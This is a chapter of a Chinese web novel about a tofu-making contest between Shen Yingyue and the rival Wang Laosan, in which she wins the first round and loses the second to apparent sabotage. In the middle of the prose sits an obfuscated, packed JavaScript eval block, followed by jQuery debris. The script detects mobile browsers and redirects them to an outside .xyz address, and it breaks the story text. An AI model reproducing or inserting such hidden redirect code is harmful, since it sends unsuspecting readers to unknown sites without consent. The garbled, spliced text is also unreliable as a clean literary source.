沈盈月还没接话，身后的苏兰突然攥住了她的衣角。
她不回头也知道，苏兰定是怕了。
沈盈月悄悄往后靠了靠，轻轻蹭了蹭苏兰的手背，掌心的暖意透过粗布衣衫传过去，算是无声的安抚。
待转过身时，她眼底的温和已淡去，语气添了几分冷冽：“比手艺我不怕，但今天日头都要落了，食材、工具都没准备，仓促比试算什么？王掌柜这是想趁人之危吗？”
“你！”王老三被这话噎了一下，眼珠却飞快转了两圈，心里却打着小算盘。
的确，他哪敢今天比？他也得趁这几天准备准备，要是现在就比，他连想做手脚都没处做。
于是他冷哼一声，梗着脖子喊：“行，老子给你时间准备。就定在三天后，在你这铺子门口比。到时候要是你不来，就是认怂，直接滚蛋！”
“三天后就三天后。”沈盈月点头应下，目光扫过王老三身后那两个膀大腰圆的伙计。“但我有条件。”
“比试时，不准带无关的人来起哄，更不准在食材、工具上动手脚。咱们就凭真手艺说话。输家不仅要滚出镇子，还得给赢的人在大家面前赔礼道歉，承诺往后不准再找对方麻烦。”
“哼，老子不跟你计较这些。”王老三拍着胸脯应下，“就按你说的来，三天后，老子让你知道，谁才是镇上的豆腐行老大！”
说罢，他狠狠瞪了沈盈月一眼，甩着袖子喊两个伙计：“走，咱们等着看她哭着求饶吧！”
看着王老三一行人骂骂咧咧地走远，围观的街坊立刻围上来。
张婆婆一把拉着沈盈月的手，满脸担忧：“盈月，你咋真跟他比啊？万一他耍花招可怎么办？”
一旁的胡老头也跟着点头：“是啊盈丫头，那人心眼多，说不定会在豆子、卤水上动手脚，你可得多留个心眼。”
沈盈月握着张婆婆的手，又回头望向脸色发白的苏兰。她心里何尝不清楚王老三的心思？
可事到如今，她早已没有退路。
若是不应下比试，王老三定会日日来铺中滋扰。街坊们见她不敢应战，也会以为她真的技不如人，往后谁还会来买她的豆腐？
届时铺子别想安稳做生意，她和苏兰母女也没法再过安稳日子。
她勉强挤出个笑脸：“这三日，我便好好准备，街坊们总是公道的。好豆腐坏豆腐，一尝便知。”
......
时值暮春，杨柳依依。
比试当天，铺子门口挤满了人。
辰时刚过，沈盈月铺子前的路口已挤得水泄不通，街坊们或踮脚探头，或搬来长凳坐着，连巷口的小贩都收了摊子凑过来。
连县内做了三十年豆腐的周老师傅被请来当主裁判，这般热闹，谁也不愿错过。
周师傅手里攥着柄乌木小勺，端坐于临时搭起的木桌后。
他年轻时在京城大酒楼掌过勺，做豆腐的本事十里八乡无人不晓，有他在，没人敢说半句不公。
待人群渐静，周师傅才缓缓开口：“按咱们先前约好的规矩，第一局比嫩豆腐。这是最寻常的手艺，却也是最见真章的。两家把备好的豆腐呈上，我看品相、尝口感，再定输赢。”
话音未落，王老三先一步让伙计把自家的豆腐呈上来，只见木盘上面摆着块方方正正的豆腐，颜色透着暗黄。
周师傅皱了皱眉，没动，又看向沈盈月。
见状，沈盈月将白瓷盘端上来，盘里的豆腐洁白得像块凝脂，微微晃动时，像块软玉似的颤了颤。
沈盈月轻声道：“周师傅，请您尝尝。”
这姑娘看着年纪虽小，技术倒是老练。
周师傅眼中闪过一丝赞许，他舀起一块，先让豆腐在舌尖化开。醇厚的豆香瞬间漫开，余味里还带着淡淡的回甘。
“豆选得好，既不松散易碎，也不紧实发柴，是块好豆腐。”
王老三跟着喊：“周师傅，您再尝尝我的！”
周师傅又不紧不慢地舀起王老三的豆腐，放进嘴里慢慢嚼了嚼，顿时眉头微蹙：“豆香淡，口感发紧。这样的豆腐，怎配跟沈姑娘的比？”
眼见周师傅嚼了两下便吐了出来，王老三脸上的笑僵了僵。
周师傅放下勺子，看向众人，宣布道：“第一局，沈盈月胜。”
街坊们立刻欢呼起来，一向矜持的胡老头也拍着腿喊：“我就说盈丫头的豆腐好，比王老三的强多了！”
连几个平时不怎么买沈盈月豆腐的人，都忍不住点头。毕竟沈盈月的豆腐，单看品相就赢了。
沈盈月松了口气，她看向王老三，原以为对方会像往常一样跳脚骂人，没成想他只是脸色沉了沉。随即竟勾起嘴角，冲身边的伙计递了个眼神。
王老三向来好面子，之前丢了些生意就上门堵门，如今在这么多街坊面前输了第一局，怎么会这么平静？
难道这局只是他的幌子？
沈盈月悄悄看向王老三带来的食盒，那里面还放着准备比第二局的老豆腐，盖子盖得严严实实，看不出半点端倪。
苏兰凑过来小声说：“盈月，你赢了怎么还不开心？”
沈盈月压低声音：“他不对劲，你帮我盯着他和他的的伙计，别让他们再耍花招。”
王老三在众人的议论声里，慢悠悠地收拾着木盘。
他还故意冲沈盈月笑了笑：“沈姑娘好手艺，这局我输得心服口服。不过后面还有两局，咱们慢慢比，不着急。”
那语气里没有半分恼意，反而让沈盈月心头的疑云浓了几分。
这第一局的轻松胜利，恐怕没那么简单。
第二局，比老豆腐。
沈盈月小心地打开食盒盖，正打算呈上去，竟有一股淡淡的馊味突然飘了出来。
味道像是隔了夜的剩菜混着霉气，呛得她下意识后退半步。
而老豆腐表面，竟泛着层灰绿色的霉斑，指尖轻轻一碰，还能感觉到黏腻的潮气。
今早刚做好的老豆腐，竟不知何时变质了！
沈盈月脑子里“嗡”的一声，怔愣在原地。
“是……是我疏忽了。”身后突然传来苏兰带着哭腔的声音，她看到食盒里的豆腐，膝盖一软险些摔倒，“今早我还去后院看过，豆腐还好好的，可后小梅哭着说渴，我去灶房给她找水，回来时竟忘了再去查看……定是那会儿，王老三的人趁机下了手！”
苏兰抓着沈盈月的胳膊，指尖冰凉，眼泪顺着脸颊往下掉：“都怪我，都怪我记性差，光顾着小梅，就忘了你托付的事！这可怎么办啊盈月？要是输了比试，咱们娘俩又要连累你……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305664|182823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈盈月看着苏兰悔恨交加的模样，到了嘴边的话又咽了回去。
她何尝不着急？可看着苏兰通红的眼眶，想起小梅的模样，她又怎么忍心苛责？
“苏兰姐，不怪你。”沈盈月深吸一口气，伸手擦去苏兰脸上的泪，“小梅年纪小，你顾着孩子也是应当的。是我太疏忽，没想着多留个心眼。”
话虽如此，沈盈月的心却像被浸了冰水般冷。
她蹲下身，指尖轻轻拂过豆腐上的霉斑，黏腻的触感让她胃里一阵翻腾。
这霉斑分布得极均匀，不像是自然闷馊的，倒像是有人特意往食盒里洒了水。潮湿之下，一夜功夫就能让好端端的豆腐腐坏变质。
“定是王老三的伙计趁你去灶房时，翻了后院的墙。”沈盈月站起身，“他们知道你要照看小梅，故意选在那会儿动手，就是算准了你会分心。”
苏兰听得浑身发抖，紧紧攥着沈盈月的手：“那现在怎么办？比试马上要开始了，咱们再做一块老豆腐也来不及了啊！”
恰在此时，王老三立刻凑过来，假惺惺地皱着眉：“沈姑娘，你这豆腐怎么回事？做老豆腐最讲究新鲜，你怎么能用馊豆腐来比试？莫不是输不起，故意拿坏豆腐糊弄大家？”
他一边说，一边让人把自己的老豆腐端上来。
那豆腐方正紧实，表面泛着油亮的浅黄，用刀切开，纹理均匀，刚掀开食盒，就飘出一股浓郁的豆香。
王老三得意地看向周师傅，见周师傅先拿起小勺，在沈盈月的老豆腐上刮了一下，灰绿色的霉斑更明显了，馊味也更重。
他皱着眉，没尝就放下了勺：“豆腐已馊，不能入口。”
接着他尝了王老三的老豆腐，慢慢嚼了嚼，点了点头：“豆香足，质地紧实，尚可。”
“第二局，王老三胜。”
话音刚落，人群里立刻响起两种声音。
张婆婆第一个站出来，指着王老三骂道：“你少在这里装模作样，盈月最是细心，豆腐怎会突然馊了？定是你让伙计动了手脚！”
可几个平时常买王老三豆腐的主顾，却跟着说风凉话：“我看就是沈姑娘自己不小心，把豆腐放坏了，输了就想赖别人。”
“是啊，用馊豆腐比试，也太不讲究了，哈哈，说不去不让人笑掉大牙！”
又听有人小声嘀咕：“这下两局一胜一负，最后一局要是再输，沈姑娘可就得卷铺盖走人了，这铺子怕是要归王老三了。”
沈盈月站在原地，指尖攥得发白，心里又气又急。
她不是输不起，是不甘心输在这种卑劣手段。
苏兰紧紧攥着她的胳膊，眼眶泛红：“盈月，都怪我，肯定是他们什么时候动了手脚，都怪我没看好豆腐。”
沈盈月深吸一口气，反过来拍了拍苏兰的手：“不怪你，是我太大意了。不过还有最后一局，咱们还有机会。”
她抬眼看向王老三，对方正得意地冲她挑眉，那副胜券在握的模样，更让她咬牙切齿。
她心中痛骂，好你个阴险狡诈的老东西，尽会使些下作的手段！
沈盈月一甩衣袖，向前两步，对着围拢的街坊朗声道：“各位街坊，今日这局我输得蹊跷，但我认。不过这最后一局，到底是谁的手艺好，谁在耍花招，咱们且看最后见分晓！”